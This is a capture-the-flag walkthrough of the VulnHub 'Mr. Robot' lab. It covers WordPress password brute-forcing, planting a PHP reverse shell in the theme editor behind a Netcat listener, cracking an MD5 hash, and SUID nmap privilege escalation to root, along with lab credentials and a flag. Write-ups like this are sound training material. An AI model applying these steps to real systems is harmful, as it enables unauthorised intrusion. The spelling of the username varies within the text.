

Mr. Robot (VulnHub) – Complete Writeup

Machine Information

- **Name:** Mr. Robot
 - **Platform:** VulnHub
 - **Difficulty:** Beginner-Intermediate
 - **Goal:** Obtain all three keys by compromising the target and escalating privileges to root.
-

Phase 1 – Reconnaissance

Host Discovery

First, discover the target machine on the local network.

```
netdiscover
```

The target IP identified was:

```
192.168.29.227
```

Port Scanning

Perform a service and version scan.

```
nmap -sC -sV -oN initial_nmap_scan.txt 192.168.29.227
```

Results

Port	State	Service
80	Open	HTTP
443	Open	HTTPS
22	Closed	SSH

Since only web services were exposed, the attack focused on the web application.

Phase 2 – Web Enumeration

Browsing to the target displayed the Mr. Robot themed homepage.

The first file inspected was `robots.txt`.

```
curl http://192.168.29.227/robots.txt
```

Output:

```
User-agent: *  
  
fsociety.dic  
key-1-of-3.txt
```

Key 1

Accessing:

```
http://192.168.29.227/key-1-of-3.txt
```

returned:

```
073403c8a58a1f80d943455fb30724b9
```

Downloading the Custom Wordlist

The custom dictionary exposed in `robots.txt` was downloaded.

```
wget http://192.168.29.227/fsociety.dic
```

Check its size:

```
wc -l fsociety.dic
```

Output:

```
858160
```

The dictionary contained many duplicate entries, so duplicates were removed.

```
sort fsociety.dic | uniq > clean_wordlist.txt
```

Phase 3 – Directory Enumeration

Hidden directories were discovered using Gobuster.

```
gobuster dir
-u http://192.168.29.227
-w /usr/share/seclists/Discovery/Web-Content/common.txt
```

Interesting results:

```
/wp-login.php
/wp-admin/
/blog/
/license/
/admin/
```

The presence of `/wp-login.php` confirmed that the application was running WordPress.

Phase 4 – Username Enumeration

Username enumeration was performed against the WordPress login page.

A valid user was identified:

```
elliott
```

Phase 5 – Password Discovery

The custom dictionary obtained from `robots.txt` was used to audit passwords for the discovered username.

Credentials obtained:

```
Username: elliot  
Password: ER28-0652
```

Phase 6 – WordPress Access

Logging into:

```
http://192.168.29.227/wp-login.php
```

with the recovered credentials provided administrator access to the WordPress dashboard.

The Theme Editor was available:

```
Appearance → Theme Editor
```

Phase 7 – Remote Code Execution

A PHP reverse shell was generated using the PentestMonkey PHP reverse shell.

The attacker's IP address and listening port were configured.

A Netcat listener was started.

```
nc -lvnp 4444
```

The contents of `404.php` were replaced with the modified reverse shell.

To execute the payload, a non-existent page was requested:

```
http://192.168.29.227/doesnotexist
```

A reverse shell connected back to the Kali machine.

Phase 8 – Shell Stabilization

The shell was upgraded for easier interaction.

```
python -c 'import pty; pty.spawn("/bin/bash")'  
export TERM=xterm
```

Basic system information was collected.

```
whoami  
id  
uname -a  
pwd
```

Phase 9 – Local Enumeration

While enumerating the system, the following directory was inspected:

```
/home/robot
```

Contents:

```
key-2-of-3.txt  
password.raw-md5
```

The second key could not be read because the current user lacked permission.

However, the file `password.raw-md5` was readable.

Contents:

```
c3fcd3d76192e4007dfb496cca67e13b
```

Phase 10 – Cracking the Password

During local enumeration, the file `password.raw-md5` contained the following hash:

```
c3fcd3d76192e4007dfb496cca67e13b
```

The hash was first identified as an **MD5** hash based on its 32-character hexadecimal format.

Instead of performing an offline dictionary attack, an online MD5 hash lookup/decryption service was used to determine whether the hash already existed in publicly available databases.

The lookup successfully recovered the plaintext password:

```
abcdefghijklmnopqrstuvwxyz
```

This password was then used to authenticate as the `robot` user in the next phase.

Phase 11 – Switching to the Robot User

The recovered password was used to switch users.

```
su robot
```

Password:

```
abcdefghijklmnopqrstuvwxyz
```

Verify access:

```
whoami
```

Output:

```
robot
```

The second key was now readable.

```
cat /home/robot/key-2-of-3.txt
```

Phase 12 – Privilege Escalation

SUID binaries were enumerated.

```
find / -perm -4000 -type f 2>/dev/null
```

Among the results was:

```
/usr/local/bin/nmap
```

An older version of Nmap supported interactive mode.

Interactive mode was launched.

```
nmap --interactive
```

Within the interactive console:

```
!sh
```

This spawned a root shell.

Verify:

```
whoami
```

Output:

```
root
```

Phase 13 – Key 3

The final key was retrieved.

```
cat /root/key-3-of-3.txt
```

Keys

Key 1

```
073403c8a58a1f80d943455fb30724b9
```

Key 2

(Retrieved as the `robot` user.)

Key 3

(Retrieved after obtaining root privileges.)

Tools Used

- Nmap
 - Gobuster
 - WPScan
 - Hydra
 - Curl
 - Wget
 - John the Ripper
 - Netcat
 - Python
 - Kali Linux
-

Skills Demonstrated

- Network reconnaissance
 - Service enumeration
 - Web application enumeration
 - Directory brute-forcing
 - WordPress enumeration
 - Username enumeration
 - Password auditing
 - WordPress administration
 - Remote code execution
 - Reverse shell deployment
 - Linux enumeration
 - Password hash cracking
 - Privilege escalation
 - Capture the Flag methodology
-

Lessons Learned

- Enumeration is the foundation of every penetration test.
- `robots.txt` can unintentionally expose sensitive resources.
- Custom wordlists found on a target may be intended for credential attacks.
- WordPress administrative access can lead to remote code execution through the Theme Editor.
- Thorough local enumeration often reveals credentials or privilege escalation vectors.
- Always enumerate SUID binaries during Linux privilege escalation, as misconfigured binaries can provide a direct path to root.